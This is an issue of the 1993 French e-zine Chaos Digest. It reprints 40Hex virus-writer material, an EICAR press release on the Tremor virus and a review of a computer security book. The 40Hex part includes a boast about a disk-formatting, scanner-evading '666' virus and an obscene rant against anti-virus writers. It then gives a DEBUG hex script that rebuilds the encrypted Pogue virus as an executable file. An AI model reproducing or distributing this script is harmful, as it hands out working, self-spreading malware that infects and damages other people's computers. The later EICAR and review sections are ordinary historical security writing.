Chaos Digest              Vendredi 25 Juin 1993        Volume 1 : Numero 63
                             ISSN  1244-4901

       Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
       Archiviste: Yves-Marie Crabbe
       Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.63 (25 Juin 1993)
File 1--40H VMag Number 7 Volume 2 Issue 3 #008(2)-009 (reprint)
File 2--Consequences du virus TREMOR (communique)
File 3--"Computer Security Basics" de Deborath Russell (critique)

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----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 7 Volume 2 Issue 3 #008(1)-009 (reprint)



<<<<<<<<<<
Article 2:
<<<<<<<<<<

==========================================================================
Date: 04-27-92 (04:18)              Number: 264 of 275 (Echo)
To: ALL                             Refer#: NONE
From: STEVENS WALLACE               Read: (N/A)
Subj: 666 IS GONNA GET YEAH         Status: PUBLIC MESSAGE
Conf: N_VIRUS (41) Read Type: GENERAL (A) (+)

                   Rock Steady `666' Virus            Released: Mar 24'92
[Montreal,Canada] PROGRAMMED:By Rock Steady. A few patches from other neat
Viruses
DAMAGE:The Virus will format the HD BOOT & FAT area on the 13th of
every Month! I wrote TWO formating procedures. One with the INT 13h and one
with the INT 26h! To make 100% the suckers HD gets trashes for GOOD!
NOTES:This is a Simple EXE & COM Infector! It infects ALL Files Executed  The
Virus Hides in High Memory! And Hooks Int 21h! It will increase  files by the
length of 666 Bytes! but if the Virus is Resident in  Memory the Length of
the Files on a "DIR" will remain the SAME under  MSDOS V3.30 - 5.0!
OTHER:*uck the Name. Its the ONLY text in the Virus! So the Anti-Virus
people will call it `Rock Steady', since the virus needs that signature  to
check if the file is infected on infection routines & DIR routine!
PURPOSE:To make a very small "Stealth" Virus. And create a HOLE shit  load of
damage for people not to forget!
ANTI-VIRAL:*uck Them! I've tried with SCANV89B, F-PROT2.03A, VirexPC  Central
Point 1.2, Nortan Scanner, ViruScan And it's UNDETECTABLE!

Neat heh? McGill Univ. is flipping over this new Virus that they just got hit
with in Montreal. *uck it's hot...

aLl comments to moi...
=======================================================================


<<<<<<<<<<
Article 3:
<<<<<<<<<<

Extracted from "Gui Guts" by Yacco, in ComputerCraft Magazine, June 1992
------------------------------------------------------------------------

Mutant Ninja Morons
-------------------
Did you survive the Michaelangelo Virus? That's what everybody,
including Bill, the guy from UPS, has been asking me. I spent most of
last night organizing and archiving several year's worth of data. I
suppose I should be grateful to the fan of comic culture who wrote this
virus for the motivation to do something I've been putting off for a
long time. But these virus writers aren't exactly virtuous. I wouldn't
be sitting here now creating files with tomorrow's date on them if they
were. In fact, it occurs to me that what motivates them is a need to
control and terrorize people. In other words, they're a new breed of
rapist: the mass rapist. And just like physical rape isn't about sex,
electronic rape isn't about intellectual challenges.

[I wasn't going to comment until I got this classic article.  This is so
funny.  This guy thinks Michelangelo was named after the Teenage Mutant
Ninja Turtle.  And hell, *IF* we are rapists, Yacco, better bend over
and spread em wide, cause we are gonna fuck you hard.  What kinda name
is Yacco???  Fuck him.  Why is everyone so curious as to what motivates
us?  Can't it be that we just simply enjoy it?  Must it be social
problems, or publicity?  Don't blame the virus community for the
Michelangelo scare, blame the Anti Virus Community.  It was a scare, a
simple ploy to gain money!  I had everyone asking me how do I protect
myself?  So, I spent a couple days helping out people who weren't
infected.  Everywhere I went, Michelangelo!  How many infections did I
find? 1.  One fucking infection.  I think everyone in the Anti-Virus
Community benefitted.  Do you think that the author of Michelangelo made
a press release about the virus?  I don't recall that.  So, there goes
the publicity theory.  He didn't control anyone.  Anti-Virus people did.
A scare tactic.  Plain and simple.  The End.]


PS: Saw a useful article in the latest issue of a magazine?  Anything
Virus related?  Well, ya don't have to type it in!  Just contact a
-=PHALCON/SKISM=- Member, and we will take care of it.  Leave him mail
stating what magazine, what issue, and what page, and your handle (We
will throw ya into our Greet list).

                                        ->GHeap!
+++++

40Hex Number 7 Volume 2 Issue 3                                      File 009

                 Pogue Mahone!

The following is what Patti Hoffman has to say about the Pogue virus.

----------------------------- VSUMX 9204 ------------------------------------

Virus Name:  Pogue
Aliases:
Scan ID:     [Pogue] & [7S] & [DAME] & [512] (memory)
V Status:    New
Discovered:  January, 1992
Symptoms:    .COM file growth; decrease in total system & available free
             memory; music
Origin:      Bulgaria
Eff Length:  2,973 - 3,850 Bytes
Type Code:   PRhC - Parasitic Resident .COM Infector
Detection Method:  ViruScan V86B+, Novi 1.1+
Removal Instructions:  Delete infected files

General Comments:

The Pogue virus was submitted in January, 1992.  It is originally
from bulgaria.  Pogue is a memory resident infector of .COM
programs, but not those that have a base file name which starts
with the three characters "COM".  Pogue contains portions of
code from four other viruses:  512, Dark Avenger, Seventh Son, and
Yankee Doodle.  It employs a complex encryption mechanism, and
detection of infected files will require an algorithmic approach.
It does occassionally infect a file with an inencrypted copy of
itself, and as a result may appear to the user as an infection of
one of the four viruses on which it is based.

The first time a program infected with the Pogue virus is executed,
the Pogue virus will install itself memory resident at the top of
system memory but below the 640k DOS boundary.  Total system and
available free memory, as indicated by the DOS CHKDSK program, will
have decreased by 9,728 bytes.  Interrupt 12's return will not have
been moved.  Interrupts 1C and 21 will be hooked by the virus.

Once the Pogue virus is memory resident, it will infect .COM
programs when they are opened, executed, or copied.  In the case of
copying, both the source and the target file will infected.  The
exception is that Pogue will not infect a .COM file if the base file
name starts with the three characters "COM".  This is the mechanism
used by the virus to avoid infecting COMMAND.COM.

Pogue infected programs will have a file length increase of 2,973 to
3,850 bytes.  The virus will be located at the end of the infected
program.  The file's date and time in the DOS disk directory listing
will not have been altered by the viral infection process.

Usually the Pogue virus will encrypt itself using its garbling
encryption mechanism on infected files.  In these files, no text
strings will be visible within the viral code.  Occassionally, this
virus will infect a file with an unencrypted copy of the viral
code.  In these cases, the following text strings will be visible:

        "Pogue Mahone!"     - or -     "Pgoue Mahone!"
        "TNX2DAV"

The unencrypted infections of Pogue on files as well the Pogue virus
in system memory may be detected by anti-viral scanners as any of the
four viruses on which Pogue is based.

The Pogue virus will play music on the system speaker when it becomes
memory resident and the system time is between 08:00 and 09:00.

----------------------------- VSUMX 9204 -------------------------------------

To decrypt, simply fire up debug and type
  g 13D

------------------------------------------------------------------------------
n pogue.com
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e 0BA0  D8 9F 12 1F 5C 46 F6 46 F5 47 D6 9D B1 87 AE DD
e 0BB0  9E A3 D6 68 A3 D8 66 38 D6 9E 8E 9E 6C 6E D8 DF
e 0BC0  B2 4C 64 4F ED 26 4E 1C 61 9F D6 9D A5 84 67 97
e 0BD0  BB 39 B3 0E 6F 54 E3 BB E6 00 46 10 67 46 13 7D
e 0BE0  0E F4 15 6F 15 9D EC 10 64 84 6E 97 F5 1C 5E 5D
e 0BF0  D7 A3 32 84 D5 A0 F5 46 F5 46 EB 08 65 26 D7 9D
e 0C00  94 6E 26 4F 24 39 D6 A7 EC 87 59 5E 6B 10 67 92
e 0C10  3D D0 63 1C 45 AB D6 81 E3 96 64 10 68 D6 C6 7F
e 0C20  D7 60 16 6D E3 96 66 0E 20 EC 12 4D ED 7E 0E 87
e 0C30  13 26 A7 9D FA EC E3 9B BC 9F D5 A1 ED 74 EB 14
e 0C40  53 A6 34 11 6A 4F EE 84 E9 96 D6 A1 6E 54 0D 2E
e 0C50  0E F4 25 9C 62 B2 6E 08 6F E4 7E CE 7B CC 77 7C
e 0C60  75 CC 77 34 6D D5 6D 35 6F C0 70 C0 70 34 6D D5
e 0C70  6D 34 6D CC 77 CC 77 CC 77 7B 72 6C 73 7C 75 6C
e 0C80  73 7C 75 6C 73 7C 75 CC 77 7C 75 CC 77 34 6D D5
e 0C90  6D 35 6F C0 70 C0 70 34 6D D5 6D 34 6D CC 77 CC
e 0CA0  77 CC 77 7B 72 6C 73 7C 75 CC 77 CC 77 9B 62 A0
e 0CB0  66 A8 66 A4 66 A0 6E A0 6A A0 66 A4 66 A0 6A A0
e 0CC0  66 A8 66 A4 66 A0 6E A0 6A A0 66 A8 66 A4 66 A0
e 0CD0  6A A0 66 A4 66 A0 6E A0 6A E4 7E CC 77 0E 79 7C
e 0CE0  75 CC 77 E4 7E 3D 84 CE 7B 5A 82 7C 75 CC 77 0E
e 0CF0  79 CE 7B E4 7E E4 7E 9B 62 A4 6E A0 66 A0 66 A0
e 0D00  72 A4 66 A0 72 A4 6A B4 2F BC 62 9C 82 86 4C BC
e 0D10  A4 CA 75 80 03 2A 74 60 4A E9 73 40 83 08 75 A9
e 0D20  25 C8 E4
rcx
0C23
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q

------------------------------

Date: Fri Jun 25 06:01:28 GMT 1993
From: percomp@infohh.rmi.de (perComp-Verlag GmbH )
Subject: File 2--Consequences du virus TREMOR (communique)


EICAR--European Institute for Computer Anti-Virus Research

PRESS RELEASE

                   Consequences of the Tremor-Virus
                   --------------------------------

The authors of virus are concentrating more and more on the development of
techniques with hide their virus against anti-virus programs and which cause
a growing amount of work for analysing the virus-code.  The Bulgarian Mutating
Engine (MtE) --which can be used to ease the development of polymorphic
viruses-- is only one example.  It is remarkable that only a few new viruses
were found up to now which are using the MtE.  Therefore the detection and
the results of the Tremor-Virus are a really bad news.

The first tremor-infected program in Germany was found in January 1993
already.  The following features of the virus were known after a first look
at the virus-code: lengh of the virus is 4,000 byte, the year of the date-
stamp n the directory is increased by 100 and .COM and .EXE files will become
infected, later on we learned, that these features are nos always present.
Due to this fact ll scanners which try to find Tremor did not detect all
samples of this virus.

The very expensive analysis of Tremor which was dne by Christoph Fischer,
MicroNIT Virus Center of the Karlsruhe University, was nearly completed end
of May.  He was sending out the results immediately to all members of CARO.
Established anti-virus manufacturers can also ask for a copy.  Since the
first show up of Tremor nearly four month have passed before the result of
the virus analysis was available.  The sophisticated virus-code as well as
the severe pressure of work to all virus specialists were the reason for this
long time.  Therefore the following requirements should be fuldilled in the
future: the analysis of viruses must be automized as much as possible.  A
better cooperation between the virus specialists working in virus test centers
as well as for anti-virus manufacturers must be established.

The Tremor was probably developed in Germany.  At least one or more German
software distributors delivered diskettes with tremor-infected programs.  The
acccident of "Channel Videodat" --a PKUNZIP.EXE infected with Tremor was
transmitted by cable- and satellit-TV-- was only one of the issues (details
in: Chronologie des Channel-Videodat-Unfalls).  This experience leads to
requirements which must be fulfilled by software-manufacturers and -distri-
butors. It is not enough to use some actual virus scanners to decide whether
a product is free of viruses.  For example checksumming-programs can be used
during the test to detect viruses.  The German BSI (Bundesamt fuer Sicherheit
in der Informationstechnik) will write down such requirements which should
be fulfilles by manufactureres and distributors.

In case of questions, please contact: eicar e.V. c/o perComp-Verlag GmbH,
Holzmuehlenstr. 84, D-22041 Hamburg, telephone: +49 40 693 20 33,
fax: +49 40 695 99 91, e-mail: percomp@infohh.rmi.de

------------------------------

Date: Wed Jun 16 13:25:00 -0600 1993
From: roberts@decus.arc.ab.ca ("Rob Slade, DECrypt Editor, VARUG NLC rep )
Subject: File 3--"Computer Security Basics" de Deborath Russell (critique)
Copyright: Robert M. Slade, 1993


O'Reilly and Associates, Inc.
103 Morris St., Suite A
Sebastopol, CA   95472-9902
800-338-6887
fax: 707-829-0104
info@ora.com
Computer Security Basics, Deborah Russell and G. T. Gangemi Sr., 1991,
ISBN 0- 937175-71-4


"Computer Security Basics" is a pretty accurate name.  The book is an overview
of many aspects that go into the security of computers and data systems. While
not exhaustive, it at least provides a starting point from which to pursue
specific topics which require more detailed study.  A thorough reading of the
book will ensure that those charged with security will not miss certain
aspects of the field in a single minded pursuit of one particular threat.

Having said that, it is difficult to recommend the book as a "sole source"
for information.  While it contains a great deal of useful, helpful and
informative material, the quality and accuracy is inconsistent.  One would
do well to check items with other sources.

The book starts with an introduction of what security is, and how to evaluate
potential loopholes.  The definition points out the useful difference between
the problems of confidentiality and availability.  (Also defined is the
difference between a "hacker" and a "cracker".)  The distinction between
threats, vulnerabilities and countermeasures is helpful, but may fail to
resolve certain issues.  (For example, the discussion does not finally aid in
determining whether a manager, too "lazy" to provide good security practices,
is just a vulnerability or an actual threat.)

Chapter two gives some historical background to the development of modern data
security.  Chapter three looks at access control, four at viral programs and
other "malware", five at systems and planning, and six at the "Orange Book".
Chapters seven and eight cover communication, first with encryption and then
more generally. Chapter nine deals with physical and site security, as well as
biometrics (for access control), while ten deals with the specific physical
security of TEMPEST.

The book takes itself very seriously, sometimes even pompously. There does not
appear to be any room for frivolity.  Therefore, it is difficult to know
whether the comment on page 92 that a novel in process may fall into the
category of "important to you, but ... of little interest to anyone else" is
unintentionally funny, or just insulting.

There are "Hints" pages scattered throughout the book, which are generally
very useful and practical.  Not universally: page 87 suggests that you
"vaccinate" programs before running them, seemingly a reference to functions
such as, among others, SCAN's "add verification" which have led to problems
in the past.  Page 97 stresses the importance of never eating or drinking
near the terminal: I, in common with most "habitual" users, *contstantly*
have food or drink near the terminal.  In the past fifteen years only once
has soda made it into my keyboard, and someone else did that.

I have two reasons for dealing with chapter four, "Viruses and Other
Wildlife", in detail.  Firstly, this review was originally intended as part
of a series of reviews of books related to the computer virus situation.
Secondly, the problems of this chapter serve as an illustration of other
parts of the book that deal with specialty areas.

The problems actually start on page seven, where an item entitled "Virus
Flambe" repeats the popular, but wholly unfounded, myth that some viral
programs can cause physical damage.  This report again repeats the "flaming
monitor" urban legend.  (The Jerusalem description, just prior, is not notable
for its accuracy either.)  Once into chapter four, we are told that the
difference between a worm and a virus is that a worm is not destructive,
whereas a virus always is.  The book contradicts itself: we are told both that
a worm hides in host programs and that it does not. I was intrigued to learn
that Ken Thompson's demonstration of a compiler "trapdoor generator" is a
virus, even though it does not "pass along" its ability to generate
insecurities beyond the programs it compiles.  A trojan is apparently a
"mechanism for disguising a virus or worm", always performs the "advertised"
function as opposed to something referred to as a "trojan mule" (anyone else
ever heard this term before?).  "Crabs" are not, as I had thought, prank
programs seen on Mac and Atari computers, but a generic term for programs that
"attack" the screen display.  In the appendix on "Security User Groups", the
Computer Virus Industry Association (CVIA) is mentioned, while the Computer
Antivirus Research Organization (CARO) and EICAR are not.  The International
Computer Security Association is not mentioned with the groups, but makes the
book list.  ("Electronic Groups" mentions Usenet, and a rather aging list of
newsgroups, but doesn't mention the Internet or any of the "listservs".)

Other aspects of the book are excellent.  The coverage of DES, for example,
does not shy away from dealing with the controversy surrounding the standard,
and is very careful in reporting the research that has been done.  The chapter
on TEMPEST is interesting.  It becomes intriguing when TEMPEST is used as a
springboard to discuss the hypothesized health risks of VDTs and states that
TEMPEST may be used to sheild the user (even though it goes on to say that
TEMPEST sometimes involves false "emitters" within the system).

In sum, the book may be a good starting point for beginners who have to start
to deal with computer security at a basic level.  While there are shortcomings
in the material within the book itself, there are also sufficient resources
listed in the appendices to provide a guide for further study by the user.

===================
Vancouver          ROBERTS@decus.ca         | "Power users think
Institute for      Robert_Slade@sfu.ca      |  'Your PC is now
Research into      rslade@cue.bc.ca         |  Stoned' is part of
User               p1@CyberStore.ca         |  the DOS copyright
Security           Canada V7K 2G6           |  line." R. Murnane

------------------------------

End of Chaos Digest #1.63
************************************
